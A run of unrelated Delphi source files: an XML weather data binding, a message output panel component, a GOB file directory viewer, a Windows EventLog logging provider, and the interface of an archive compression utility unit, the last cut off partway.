procedure Set_DewPoint(Value: UnicodeString); procedure Set_RelativeHumidity(Value: UnicodeString); procedure Set_Pressure(Value: UnicodeString); procedure Set_Status(Value: UnicodeString); { Methods & Properties } property Location: UnicodeString read Get_Location write Set_Location; property Time: UnicodeString read Get_Time write Set_Time; property Wind: UnicodeString read Get_Wind write Set_Wind; property Visibility: UnicodeString read Get_Visibility write Set_Visibility; property SkyConditions: UnicodeString read Get_SkyConditions write Set_SkyConditions; property Temperature: UnicodeString read Get_Temperature write Set_Temperature; property DewPoint: UnicodeString read Get_DewPoint write Set_DewPoint; property RelativeHumidity: UnicodeString read Get_RelativeHumidity write Set_RelativeHumidity; property Pressure: UnicodeString read Get_Pressure write Set_Pressure; property Status: UnicodeString read Get_Status write Set_Status; end; { Forward Decls } TXMLCurrentWeatherType = class; { TXMLCurrentWeatherType } TXMLCurrentWeatherType = class(TXMLNode, IXMLCurrentWeatherType) protected { IXMLCurrentWeatherType } function Get_Location: UnicodeString; function Get_Time: UnicodeString; function Get_Wind: UnicodeString; function Get_Visibility: UnicodeString; function Get_SkyConditions: UnicodeString; function Get_Temperature: UnicodeString; function Get_DewPoint: UnicodeString; function Get_RelativeHumidity: UnicodeString; function Get_Pressure: UnicodeString; function Get_Status: UnicodeString; procedure Set_Location(Value: UnicodeString); procedure Set_Time(Value: UnicodeString); procedure Set_Wind(Value: UnicodeString); procedure Set_Visibility(Value: UnicodeString); procedure Set_SkyConditions(Value: UnicodeString); procedure Set_Temperature(Value: UnicodeString); procedure Set_DewPoint(Value: UnicodeString); procedure Set_RelativeHumidity(Value: UnicodeString); procedure Set_Pressure(Value: UnicodeString); procedure Set_Status(Value: UnicodeString); end; { Global Functions } function GetCurrentWeather(Doc: IXMLDocument): IXMLCurrentWeatherType; function LoadCurrentWeather(const FileName: string): IXMLCurrentWeatherType; function NewCurrentWeather: IXMLCurrentWeatherType; const TargetNamespace = ''; implementation { Global Functions } function GetCurrentWeather(Doc: IXMLDocument): IXMLCurrentWeatherType; begin Result := Doc.GetDocBinding('CurrentWeather', TXMLCurrentWeatherType, TargetNamespace) as IXMLCurrentWeatherType; end; function LoadCurrentWeather(const FileName: string): IXMLCurrentWeatherType; begin Result := LoadXMLDocument(FileName).GetDocBinding('CurrentWeather', TXMLCurrentWeatherType, TargetNamespace) as IXMLCurrentWeatherType; end; function NewCurrentWeather: IXMLCurrentWeatherType; begin Result := NewXMLDocument.GetDocBinding('CurrentWeather', TXMLCurrentWeatherType, TargetNamespace) as IXMLCurrentWeatherType; end; { TXMLCurrentWeatherType } function TXMLCurrentWeatherType.Get_Location: UnicodeString; begin Result := ChildNodes['Location'].Text; end; procedure TXMLCurrentWeatherType.Set_Location(Value: UnicodeString); begin ChildNodes['Location'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_Time: UnicodeString; begin Result := ChildNodes['Time'].Text; end; procedure TXMLCurrentWeatherType.Set_Time(Value: UnicodeString); begin ChildNodes['Time'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_Wind: UnicodeString; begin Result := ChildNodes['Wind'].Text; end; procedure TXMLCurrentWeatherType.Set_Wind(Value: UnicodeString); begin ChildNodes['Wind'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_Visibility: UnicodeString; begin Result := ChildNodes['Visibility'].Text; end; procedure TXMLCurrentWeatherType.Set_Visibility(Value: UnicodeString); begin ChildNodes['Visibility'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_SkyConditions: UnicodeString; begin Result := ChildNodes['SkyConditions'].Text; end; procedure TXMLCurrentWeatherType.Set_SkyConditions(Value: UnicodeString); begin ChildNodes['SkyConditions'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_Temperature: UnicodeString; begin Result := ChildNodes['Temperature'].Text; end; procedure TXMLCurrentWeatherType.Set_Temperature(Value: UnicodeString); begin ChildNodes['Temperature'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_DewPoint: UnicodeString; begin Result := ChildNodes['DewPoint'].Text; end; procedure TXMLCurrentWeatherType.Set_DewPoint(Value: UnicodeString); begin ChildNodes['DewPoint'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_RelativeHumidity: UnicodeString; begin Result := ChildNodes['RelativeHumidity'].Text; end; procedure TXMLCurrentWeatherType.Set_RelativeHumidity(Value: UnicodeString); begin ChildNodes['RelativeHumidity'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_Pressure: UnicodeString; begin Result := ChildNodes['Pressure'].Text; end; procedure TXMLCurrentWeatherType.Set_Pressure(Value: UnicodeString); begin ChildNodes['Pressure'].NodeValue := Value; end; function TXMLCurrentWeatherType.Get_Status: UnicodeString; begin Result := ChildNodes['Status'].Text; end; procedure TXMLCurrentWeatherType.Set_Status(Value: UnicodeString); begin ChildNodes['Status'].NodeValue := Value; end; end.
unit DXPMessageOutPut; interface uses SysUtils, Classes, Controls, ExtCtrls, Graphics, Types, Windows, Forms, ComCtrls, DXPPanelDegrade, StdCtrls, udmRepository, Buttons, Generics.Collections, StrUtils; type TOutPutStyle = (lsList, lsTreeView); // TDXPMessageOutPut = class(TWinControl) private FPanelDegrade: TDXPPanelDegrade; FListOutPut: TListView; FTreeViewOutPut: TTreeView; FLastSearchTreeNode: TTreeNode; FButtonClose: TSpeedButton; FHeightSetting: integer; FTimer: TTimer; FActive: boolean; FShowingOutPut: boolean; FOutPutStyle: TOutPutStyle; FHeightShow: integer; FExpandAllOnShow: boolean; // procedure SetFocusItemList; // procedure AddMessageList(const aMsg, aCaption: string); overload; procedure AddMessageList(const aMsg, aCaption: string; aFocusControl: TWinControl); overload; procedure AddMessageTreeView(const aMsg, aCaption: string); overload; procedure AddMessageTreeView(const aMsg, aCaption: string; aFocusControl: TWinControl); overload; function GetItemTreeView(const aCaption: string): TTreeNode; // procedure OnClickButtonClose(Sender: TObject); procedure OnTimer(Sender: TObject); procedure OnListDblClick(Sender: TObject); procedure OnTreeViewDblClick(Sender: TObject); procedure OnListKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure OnTreeViewKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure OnListResize(Sender: TObject); // procedure SetListStyle(const Value: TOutPutStyle); procedure SetHeightShow(const Value: integer); { Private declarations } protected procedure Loaded; override; { Protected declarations } public property ShowingOutPut: boolean read FShowingOutPut; property HeightShow: integer read FHeightShow write SetHeightShow; // constructor Create(AOwner: TComponent); override; destructor Destroy; override; // procedure AddMessage(const aMsg, aCaption: string); overload; procedure AddMessage(const aMsg, aCaption: string; aFocusControl: TWinControl); overload; {TODO -oAraujo -cComponent : Implementar o TryFocus, se nao conseguir manda o focu dispara uma notifyevent OnTryFocusFail} procedure ShowOutPut; procedure ClearOutPut; procedure Close; { Public declarations } published property Active: boolean read FActive write FActive default true; property ExpandAllOnShow: boolean read FExpandAllOnShow write FExpandAllOnShow default false; property Height default 90; property OutPutStyle: TOutPutStyle read FOutPutStyle write SetListStyle default lsList; { Published declarations } end; implementation { TDXPMessageOutPut } procedure TDXPMessageOutPut.AddMessage(const aMsg, aCaption: string); begin if FOutPutStyle = lsList then AddMessageList( aMsg, aCaption ) else AddMessageTreeView( aMsg, aCaption ); end; procedure TDXPMessageOutPut.AddMessage(const aMsg, aCaption: string; aFocusControl: TWinControl); begin if FOutPutStyle = lsList then AddMessageList( aMsg, aCaption, aFocusControl ) else AddMessageTreeView( aMsg, aCaption, aFocusControl ); end; procedure TDXPMessageOutPut.AddMessageList(const aMsg, aCaption: string); begin FListOutPut.Items.Add.Caption := IfThen( Trim( aCaption ) <> '', aCaption + ' - ' ) + aMsg; end; procedure TDXPMessageOutPut.AddMessageList(const aMsg, aCaption: string; aFocusControl: TWinControl); var PFocusControl: ^TWinControl; NewItem: TListItem; begin New( PFocusControl ); // NewItem := FListOutPut.Items.Add; NewItem.Caption := IfThen( Trim( aCaption ) <> '', aCaption + ' - ' ) + aMsg; PFocusControl^ := aFocusControl; NewItem.Data := PFocusControl; end; procedure TDXPMessageOutPut.AddMessageTreeView(const aMsg, aCaption: string); var Node: TTreeNode; begin Node := GetItemTreeView( aCaption ); // // No Pai; if Node = nil then Node := FTreeViewOutPut.Items.AddObject( nil, aCaption, nil ); // FTreeViewOutPut.Items.AddChildObject( Node, aMsg, nil ); end; procedure TDXPMessageOutPut.AddMessageTreeView(const aMsg, aCaption: string; aFocusControl: TWinControl); var PFocusControl: ^TWinControl; Node: TTreeNode; begin New( PFocusControl ); PFocusControl^ := aFocusControl; // Node := GetItemTreeView( aCaption ); // // No Pai; if Node = nil then Node := FTreeViewOutPut.Items.AddObject( nil, aCaption, PFocusControl ); // FTreeViewOutPut.Items.AddChildObject( Node, aMsg, PFocusControl ); Node.Expanded := FExpandAllOnShow; end; procedure TDXPMessageOutPut.ClearOutPut; begin FListOutPut.Items.Clear; FTreeViewOutPut.Items.Clear; end; procedure TDXPMessageOutPut.Close; begin Height := 0; FShowingOutPut := false; TabStop := false; end; constructor TDXPMessageOutPut.Create(AOwner: TComponent); var bmp: Graphics.TBitmap; Repository: TdmRepository; begin inherited Create( AOwner ); // Align := alBottom; FActive := true; Height := 90; FShowingOutPut := false; TabStop := false; FOutPutStyle := lsList; FExpandAllOnShow := false; // if ( not( csDesigning in ComponentState ) and not( FActive ) ) then Visible := false; // FPanelDegrade := TDXPPanelDegrade.Create( Self ); FPanelDegrade.Parent := Self; FPanelDegrade.Align := alTop; FPanelDegrade.Height := 21; FPanelDegrade.Color := clGray; FPanelDegrade.BackGround := clWindow; FPanelDegrade.Alignment := taLeftJustify; FPanelDegrade.Caption := ' Mensagens...'; FPanelDegrade.Font.Style := [fsBold]; // bmp := Graphics.TBitmap.Create; Repository := TdmRepository.Create( nil ); // try Repository.imgAll.GetBitmap( 0, bmp ); finally Repository.Free; end; // FButtonClose := TSpeedButton.Create( FPanelDegrade ); FButtonClose.Parent := FPanelDegrade; FButtonClose.Flat := true; FButtonClose.Align := alRight; FButtonClose.Height := 18; FButtonClose.Width := 18; FButtonClose.Glyph := bmp; FButtonClose.Hint := 'Fechar'; FButtonClose.ShowHint := true; FButtonClose.OnClick := OnClickButtonClose; FreeAndNil( bmp ); // FTreeViewOutPut := TTreeView.Create( Self ); FTreeViewOutPut.Parent := Self; FTreeViewOutPut.Align := alClient; FTreeViewOutPut.BorderStyle := bsNone; FTreeViewOutPut.OnDblClick := OnTreeViewDblClick; FTreeViewOutPut.OnKeyDown := OnTreeViewKeyDown; // FListOutPut := TListView.Create( Self ); FListOutPut.Parent := Self; FListOutPut.Align := alClient; FListOutPut.BorderStyle := bsNone; FListOutPut.Columns.Add.Width := FListOutPut.Width - 10; FListOutPut.RowSelect := true; FListOutPut.ShowColumnHeaders := false; FListOutPut.ViewStyle := vsReport; FListOutPut.OnDblClick := OnListDblClick; FListOutPut.OnKeyDown := OnListKeyDown; FListOutPut.OnResize := OnListResize; // FTimer := TTimer.Create( Self ); FTimer.Enabled := false; FTimer.Interval := 10; FTimer.OnTimer := OnTimer; end; destructor TDXPMessageOutPut.Destroy; var I: integer; begin FButtonClose.Glyph := nil; // for I := 0 to FTreeViewOutPut.Items.Count - 1 do FTreeViewOutPut.Items[I].Data := nil; // for I := 0 to FListOutPut.Items.Count - 1 do FListOutPut.Items[I].Data := nil; // inherited Destroy; end; function TDXPMessageOutPut.GetItemTreeView(const aCaption: string): TTreeNode; begin Result := nil; FLastSearchTreeNode := FTreeViewOutPut.Items.GetFirstNode; // repeat if FLastSearchTreeNode = nil then Break; // if FLastSearchTreeNode.Text = aCaption then begin Result := FLastSearchTreeNode; Break; end else FLastSearchTreeNode := FLastSearchTreeNode.getNextSibling; until false; end; procedure TDXPMessageOutPut.Loaded; begin inherited Loaded; // if not( csDesigning in ComponentState ) then begin if Self.Height = 0 then FHeightSetting := 90 else FHeightSetting := Self.Height; // Self.Height := 0; end; // FListOutPut.Visible := ( FOutPutStyle = lsList ); FTreeViewOutPut.Visible := ( FOutPutStyle = lsTreeView ); end; procedure TDXPMessageOutPut.OnClickButtonClose(Sender: TObject); begin Close; end; procedure TDXPMessageOutPut.OnListDblClick(Sender: TObject); begin SetFocusItemList; end; procedure TDXPMessageOutPut.OnListKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Ord( Key ) = 13 then SetFocusItemList; end; procedure TDXPMessageOutPut.OnListResize(Sender: TObject); begin FListOutPut.Columns[0].Width := FListOutPut.Width - 20; end; procedure TDXPMessageOutPut.OnTimer(Sender: TObject); begin if Height > FHeightSetting then begin FTimer.Enabled := false; FShowingOutPut := true; TabStop := true; Exit; end; // Height := Height + 10; end; procedure TDXPMessageOutPut.OnTreeViewDblClick(Sender: TObject); begin SetFocusItemList; end; procedure TDXPMessageOutPut.OnTreeViewKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Ord( Key ) = 13 then SetFocusItemList; end; procedure TDXPMessageOutPut.SetFocusItemList; begin if FOutPutStyle = lsList then begin if FListOutPut.Items.Count > 0 then if FListOutPut.ItemIndex <> -1 then if Assigned( FListOutPut.Selected.Data ) then TWinControl( FListOutPut.Selected.Data^ ).SetFocus; end else begin if FTreeViewOutPut.Items.Count > 0 then if ( FTreeViewOutPut.Selected <> nil ) and ( FTreeViewOutPut.Selected.Index <> -1 ) then if Assigned( FTreeViewOutPut.Selected.Data ) then TWinControl( FTreeViewOutPut.Selected.Data^ ).SetFocus; end; end; procedure TDXPMessageOutPut.SetHeightShow(const Value: integer); begin FHeightShow := Value; FHeightSetting := Value; end; procedure TDXPMessageOutPut.SetListStyle(const Value: TOutPutStyle); begin FOutPutStyle := Value; // FListOutPut.Visible := ( Value = lsList ); FTreeViewOutPut.Visible := ( Value = lsTreeView ); end; procedure TDXPMessageOutPut.ShowOutPut; begin FTimer.Enabled := FActive; end; end.
unit Gobdir; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Buttons, ExtCtrls, StdCtrls, M_Global, G_Util, Clipbrd; type TGOBDIRWindow = class(TForm) SpeedBar: TPanel; SpeedButtonExit: TSpeedButton; SP_Main: TPanel; SP_Time: TPanel; SP_Text: TPanel; SP_Time_: TTimer; GOBDIRContents: TMemo; Panel1: TPanel; Panel2: TPanel; Panel3: TPanel; Panel4: TPanel; SpeedButton1: TSpeedButton; Panel5: TPanel; PanelGOBName: TPanel; PanelSize: TPanel; PanelDate: TPanel; procedure SpeedButtonExitClick(Sender: TObject); procedure SP_Time_Timer(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormActivate(Sender: TObject); procedure SpeedButton1Click(Sender: TObject); private { Private declarations } public { Public declarations } procedure DisplayHint(Sender: TObject); end; var GOBDIRWindow: TGOBDIRWindow; implementation {$R *.DFM} procedure TGOBDIRWindow.SpeedButtonExitClick(Sender: TObject); begin GOBDIRWindow.Close; end; procedure TGOBDIRWindow.SP_Time_Timer(Sender: TObject); begin SP_Time.Caption := FormatDateTime('hh:mm', Time); end; procedure TGOBDIRWindow.FormShow(Sender: TObject); begin SP_Time.Caption := FormatDateTime('hh:mm', Time); end; procedure TGOBDIRWindow.DisplayHint(Sender: TObject); begin SP_Text.Caption := Application.Hint; end; procedure TGOBDIRWindow.FormActivate(Sender: TObject); var f : Integer; begin Application.OnHint := DisplayHint; f := FileOpen(CurrentGOB, fmOpenRead); PanelGOBName.Caption := CurrentGOB; PanelSize.Caption := 'Size:' + IntToStr(FileSizing(f)) + ' bytes'; PanelDate.Caption := 'Timestamp: ' + DateToStr(FileDateToDateTime(FileGetDate(f))) + ' ' + TimeToStr(FileDateToDateTime(FileGetDate(f))); FileClose(f); CASE GOB_GetDetailedDirList(CurrentGOB , GOBDIRWindow.GOBDirContents) OF -1 : Application.MessageBox('File does not exist', 'GOB File Manager Error', mb_Ok or mb_IconExclamation); -2 : Application.MessageBox('File is not a GOB file', 'GOB File Manager Error', mb_Ok or mb_IconExclamation); END; end; procedure TGOBDIRWindow.SpeedButton1Click(Sender: TObject); begin GOBDIRContents.SelectAll; GOBDIRContents.CopyToClipboard; GOBDIRContents.SelLength := 0; end; end.
{ *************************************************************************** Copyright (c) 2016-2020 Kike Pérez Unit : Quick.Logger.Provider.EventLog Description : Log Windows EventLog Provider Author : Kike Pérez Version : 1.22 Created : 02/10/2017 Modified : 02/03/2020 This file is part of QuickLogger: https://github.com/exilon/QuickLogger *************************************************************************** Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. *************************************************************************** } unit Quick.Logger.Provider.EventLog; {$i QuickLib.inc} interface uses Classes, Windows, {$IFNDEF MSWINDOWS} Only compatible with Microsoft Windows {$ENDIF} SysUtils, Quick.Commons, Quick.Logger; type TLogEventLogProvider = class (TLogProviderBase) private fSource : string; public constructor Create; override; destructor Destroy; override; property Source : string read fSource write fSource; procedure Init; override; procedure Restart; override; procedure WriteLog(cLogItem : TLogItem); override; end; {$IFDEF FPC} const EVENTLOG_SUCCESS = 0; {$ENDIF} var GlobalLogEventLogProvider : TLogEventLogProvider; implementation constructor TLogEventLogProvider.Create; begin inherited; LogLevel := LOG_ALL; fSource := ExtractFileNameWithoutExt(ParamStr(0)); end; destructor TLogEventLogProvider.Destroy; begin inherited; end; procedure TLogEventLogProvider.Init; begin inherited; end; procedure TLogEventLogProvider.Restart; begin Stop; Init; end; procedure TLogEventLogProvider.WriteLog(cLogItem : TLogItem); var h: THandle; p : Pointer; eType : Integer; begin p := PWideChar(cLogItem.Msg); h := RegisterEventSource(nil,{$IFDEF FPC}PChar{$ELSE}PWideChar{$ENDIF}(fSource)); try case cLogItem.EventType of etSuccess, etDone : eType := EVENTLOG_SUCCESS; etWarning : eType := EVENTLOG_WARNING_TYPE; etError, etCritical, etException : eType := EVENTLOG_ERROR_TYPE; else eType := EVENTLOG_INFORMATION_TYPE; end; if h <> 0 then begin ReportEvent(h, eType, //event type 0, //category 0, //event id nil, //user security id 1, //one substitution string 0, //data @p, //pointer to msg nil); //pointer to data end; finally DeregisterEventSource(h); end; end; initialization GlobalLogEventLogProvider := TLogEventLogProvider.Create; finalization if Assigned(GlobalLogEventLogProvider) and (GlobalLogEventLogProvider.RefCount = 0) then GlobalLogEventLogProvider.Free; end.
//--------------------------------------------------------------------------- // This software is Copyright (c) 2011 Embarcadero Technologies, Inc. // You may only use this software if you are an authorized licensee // of Delphi, C++Builder or RAD Studio (Embarcadero Products). // This software is considered a Redistributable as defined under // the software license agreement that comes with the Embarcadero Products // and is subject to that software license agreement. //--------------------------------------------------------------------------- unit ArchiveUtils; interface uses SysUtils, Classes, AbZipKit, AbArcTyp, DB, AbUtils, AbCabTyp, AbZipTyp; type EArchiveException = class(Exception); /// <summary>Wrapper class for various archive types</summary> TCustomArchive = class(TAbArchive) private FArcType: TAbArchiveType; {$REGION 'Method to test the integrity of every item in an archive.'} /// <summary>Method to test the integrity of every item in an /// archive.</summary> /// <param name="Sender">Archive object</param> /// <param name="Item">Item to test</param> /// <remarks>Calls <c>AbTestZipItem</c> to test each item</remarks> {$ENDREGION} procedure TestZipItemProc(Sender: TObject; Item: TAbArchiveItem); {$REGION 'Routine to unzip an item to the provided file name'} /// <summary>Routine to unzip an item to the provided file name</summary> /// <param name="Sender">Archive object</param> /// <param name="Item">Archive item to extract</param> /// <param name="NewName">Name to use for the extracted item</param> /// <remarks>Calls <c>AbUnzip</c> to extract the item</remarks> {$ENDREGION} procedure UnzipProc(Sender: TObject; Item: TAbArchiveItem; const NewName: string); {$REGION 'Unzips an item to a stream'} /// <summary>Unzips an item to a stream</summary> /// <param name="Sender">Archive object</param> /// <param name="Item">Archive item to extract</param> /// <param name="OutStream">Stream to receive extraction of item</param> /// <remarks>Calls AbUnzipToStream</remarks> {$ENDREGION} procedure UnzipToStreamProc(Sender: TObject; Item: TAbArchiveItem; OutStream: TStream); function GetItems(Index: integer): TAbArchiveItem; procedure SetItems(Index: integer; const Value: TAbArchiveItem); protected procedure LoadArchive; override; public {$REGION 'Additional constructor supporting creating from a stream instead of a file'} /// <summary>Additional constructor supporting creating from a stream /// instead of a file</summary> /// <param name="AStream">Input stream for archive</param> /// <param name="AArchiveName">Name of the archive. If type cannot be /// automatically determined, the extension of the archive name is used to /// determine archive type.</param> {$ENDREGION} constructor CreateFromStream(AStream: TStream; const AArchiveName: string); override; /// <summary>Property accessor for items in the archive</summary> /// <param name="Index">Ordinal position of item to retrieve</param> property Items[Index:integer]: TAbArchiveItem read GetItems write SetItems; {$REGION 'Initializes internal method for the archive based on the archive type'} /// <summary>Initializes internal method for the archive based on the /// archive type</summary> /// <param name="AType"><b>Optional</b>. The archive type will be /// determined by examining the stream if the archive type is not /// explicitly provided.</param> {$ENDREGION} procedure InitArchive(AType: TAbArchiveType = atUnknown); end; TArchive = class(TCustomArchive); //class(TAbZipKit); TZipArchive = class(TAbZipArchive); TArchiveClass = class of TAbArchive; /// <summary>Custom TAbCabArchive descendant that allows creation from a TStream</summary> TEDNCabArchive = class(TAbCabArchive) private FDeleteFile: Boolean; FFileName: string; public constructor CreateFromStream(AInput: TStream; const AArchiveName: string); override; destructor Destroy; override; end; const STempZip = 'temp.zip'; SDefaultName = 'ArchiveItem'; SFileName = 'FileName'; SPath = 'Path'; SFileSize = 'FileSize'; SFileDate = 'FileDate'; SAttachment = 'Attachment'; {$REGION 'Convert a stream into an item of the provided archive type'} /// <summary>Convert a stream into an item of the provided archive /// type</summary> /// <param name="AInput">Stream to compress as an item of an archive</param> /// <param name="AName"><b>Optional</b>. Default name for archive, can be used /// to determine archive type.</param> /// <param name="AType"><b>Optional</b>. Type of archive to create. Defaults to /// zip.</param> /// <returns>Returns an archive of the requested type with the input stream /// compressed as the only item</returns> {$ENDREGION} function Compress(AInput: TStream; AName: string = SDefaultName; AType: TAbArchiveType = atZip): TArchive; {$REGION 'Compress an input stream into a stream of the provided archive type'} /// <summary>Convert a stream into an item of the provided archive /// type</summary> /// <param name="AInput">Stream to compress</param> /// <param name="ADest">Destination stream for the compressed output</param> /// <param name="AName"><b>Optional</b>. Default name for archive, can be used /// to determine archive type.</param> /// <param name="AType"><b>Optional</b>. Type of archive to create. Defaults to /// zip.</param> /// <returns>Returns an archive of the requested type with the input stream /// compressed as the only item</returns> {$ENDREGION} procedure CompressToStream(AInput, ADest: TStream; AName: string = SDefaultName; AType: TAbArchiveType = atZip); {$REGION 'Overload for compressing and encoding content into a remotable string'} /// <summary>Overload for compressing and encoding content into a remotable /// string</summary> /// <param name="AInput">Input string to compress and encode</param> /// <param name="AName"><b>Optional</b>. Name of archive to create. Defaults to /// a zip file.</param> /// <param name="AType"><b>Optional</b>. Type of archive to create. Defaults to /// zip.</param> /// <returns>Returns the input string compressed into an archive of the /// requested type, and encoded to a remotable string</returns> {$ENDREGION} function CompressAndEncode(const AInput: string; AName: string = SDefaultName; AType: TAbArchiveType = atZip): string; overload; {$REGION 'Overloaded function to compress and encode an input stream into a remotable a...'} /// <summary>Overloaded function to compress and encode an input stream into a /// remotable archive stream</summary> /// <param name="AInput">Input stream to compress</param> /// <param name="AName"><b>Optional</b>. Name of archive type to encode. /// Defaults to a zip file.</param> /// <param name="AType"><b>Optional</b>. Type of archive to create.</param> /// <returns>Returns a remotable stream of the item compressed into the /// requested archive type</returns> {$ENDREGION} function CompressAndEncode(const AInput: TStream; AName: string = SDefaultName; AType: TAbArchiveType = atZip): string; overload; {$REGION 'Convert a string to its encoded representation'} /// <summary>Convert a string to its encoded representation</summary> /// <param name="AInput">String to encode</param> /// <returns>The encoded string</returns> {$ENDREGION} function Encode(const AInput: string): string; overload; {$REGION 'Convert a stream to an encoded string'} /// <summary>Convert a stream to an encoded string</summary> /// <param name="AInput">Input stream to encode</param> /// <returns>The stream encoded into a remotable string</returns> {$ENDREGION} function Encode(const AInput: TStream): string; overload; {$REGION 'Decodes an archive and extracts the item contained in the archive'} /// <summary>Decodes an archive and extracts the item contained in the /// archive</summary> /// <param name="AInput">Input stream</param> /// <returns>Returns the decoded and uncompressed item as a string</returns> {$ENDREGION} function DecodeAndUnCompress(const AInput: string): string; overload; {$REGION 'Decodes an uncompresses the first item from an archive'} /// <summary>Decodes an uncompresses the first item from an archive</summary> /// <param name="AInput">Input stream</param> /// <returns>Returns a string with the content of the first item in the encoded /// archive</returns> {$ENDREGION} function DecodeAndUnCompress(const AInput: TStream): string; overload; {$REGION 'Extracts the first item in a byte array representing a compressed archive'} /// <summary>Extracts the first item in a byte array representing a compressed /// archive</summary> /// <param name="AInput">Byte array of archive</param> /// <returns>Uncompresses string of the first item in the archive</returns> {$ENDREGION} function UnCompress(const AInput: TBytes): string; overload; {$REGION 'Extracts the first item in a stream representing a compressed archive'} /// <summary>Extracts the first item in a stream representing a compressed /// archive</summary> /// <returns>Returns the first item as an uncompresses string</returns> {$ENDREGION} function UnCompress(const AInput: TStream): string; overload; {$REGION 'Decodes an encoded (remotable) string'} /// <summary>Decodes an encoded (remotable) string</summary> /// <param name="input">Encoded string</param> /// <returns>Returns the decoded string</returns> {$ENDREGION} function Decode(const input: string): string; {$REGION 'Decodes an encoded string into a byte array'} /// <summary>Decodes an encoded string into a byte array</summary> /// <param name="input">Encoded string</param> /// <returns>Returns the decoded string as a byte array</returns> {$ENDREGION} function DecodeBytes(const input: string): TBytes; {$REGION 'Create an archive object instance from the input stream'} /// <summary>Create an archive object instance from the input stream</summary> /// <param name="AInput">Input stream representing archive</param> /// <param name="AName"><b>Optional</b>. Type of archive to create. Archive /// type will be determined from the stream if not specified.</param> /// <returns>Returns an archive using the provided stream as its /// contents</returns> {$ENDREGION} function CreateFromStream(const AInput: TStream; AName: string = STempZip): TArchive; {$REGION 'Checks an achive for validity'} /// <summary>Checks an achive for validity</summary> /// <param name="AInput">Input string representing the archive</param> /// <param name="AName"><b>Optional</b>. Name used to determine archive type. /// Archive type will be determined from the input string if name is /// skipped.</param> /// <exception cref="EArchiveException">If the archive is not valid or is /// empty</exception> {$ENDREGION} procedure CheckArchive(const AInput: string; AName: string = STempZip); overload; {$REGION 'Checks an achive for validity'} /// <summary>Checks an achive for validity</summary> /// <param name="AInput">Input stream representing the archive</param> /// <param name="AName"><b>Optional</b>. Name used to determine archive type. /// Archive type will be determined from the input string if name is /// skipped.</param> /// <exception cref="EArchiveException">If the archive is not valid or is /// empty</exception> {$ENDREGION} procedure CheckArchive(const AInput: TStream; AName: string = STempZip); overload; {$REGION 'Open an archive object from a blob field reference'} /// <summary>Open an archive object from a blob field reference</summary> /// <param name="AField">Blob field object</param> /// <param name="AName"><b>Optional</b>. Name of archive file.</param> /// <returns>Returns an archive object from the TField blob stream</returns> {$ENDREGION} function OpenArchive(const AField: TField; AName: string = STempZip) : TArchive; overload; {$REGION 'Open an archive from the file name'} /// <summary>Open an archive from the file name</summary> /// <param name="AFile">Name of file to open as an archive</param> /// <param name="AType"><b>Optional</b>. Type of archive to create. If not /// specified, archive type is determined.</param> {$ENDREGION} function OpenArchive(const AFile: string; AType: TAbArchiveType = atUnknown) : TArchive; overload; {$REGION 'Determine the archive type of a file'} /// <summary>Determine the archive type of a file</summary> /// <param name="AFileName">Name of file to analyze</param> /// <returns>Returns the archive type of the file</returns> {$ENDREGION} function ArchiveFileType(const AFileName: string): TAbArchiveType; {$REGION 'Retrieve the names of the files contained in an archive (overloaded)'} /// <summary>Retrieve the names of the files contained in an archive /// (overloaded)</summary> /// <param name="AField">Blob field to convert to an archive</param> /// <param name="AIncludePath"><b>Optional</b>. <c>False</c> to omit file paths /// from the file names returned. <c>True</c> includes file paths. Defaults to /// <c>True</c>.</param> /// <param name="AName"><b>Optional</b>. Name of archive. Leave empty to /// automatically determine the archive type.</param> /// <returns>Returns an array file names found in the archive</returns> {$ENDREGION} function GetArchiveFileNames(const AField: TField; AIncludePath: boolean = true; AName: string = STempZip): TArray<string>; overload; {$REGION 'Retrieve the names of the files contained in an archive (overloaded)'} /// <summary>Retrieve the names of the files contained in an archive /// (overloaded)</summary> /// <param name="AFile">Name of archive file</param> /// <param name="AIncludePath"><b>Optional</b>. <c>False</c> to omit file paths /// from the file names returned. <c>True</c> includes file paths. Defaults to /// <c>True</c>.</param> /// <param name="AType"><b>Optional</b>. Type of archive. Omit to /// automatically determine the archive type.</param> /// <returns>Returns an array file names found in the archive</returns> {$ENDREGION} function GetArchiveFileNames(const AFile: string; AIncludePath: boolean = true; AType: TAbArchiveType = atZip): TArray<string>; overload; {$REGION 'Retrieve the names of the files contained in an archive (overloaded)'} /// <summary>Retrieve the names of the files contained in an archive /// (overloaded)</summary> /// <param name="AArchive">Archive object</param> /// <param name="AIncludePath"><b>Optional</b>. <c>False</c> to omit file paths /// from the file names returned. <c>True</c> includes file paths. Defaults to /// <c>True</c>.</param> /// <returns>Returns an array file names found in the archive</returns> {$ENDREGION} function GetArchiveFileNames(const AArchive: TArchive; AIncludePath: boolean = true): TArray<string>; overload; function ArchiveList(const AField: TField; AName: string = STempZip): TDataSet; overload; function ArchiveList(const AFile: string; AType: TAbArchiveType = atZip): TDataSet; overload; function ArchiveToDataSet(const AField: TField; AName: string = STempZip; ALoad: boolean = true; AFiles: string = ''): TDataSet; overload; function ArchiveToDataSet(const AArchive: TArchive; ALoad: boolean = true; AFiles: string = ''): TDataSet; overload; function ExtractArchiveFile(const AInput: TStream; AFileName: string) : string; function FileExtFromArchiveType(AType: TAbArchiveType): string; implementation uses EncdDecd, Zlib, AbBrowse, AbTarTyp, AbGzTyp, AbUnzPrc, AbBzip2Typ, AbZipper, Windows, DBClient; resourcestring 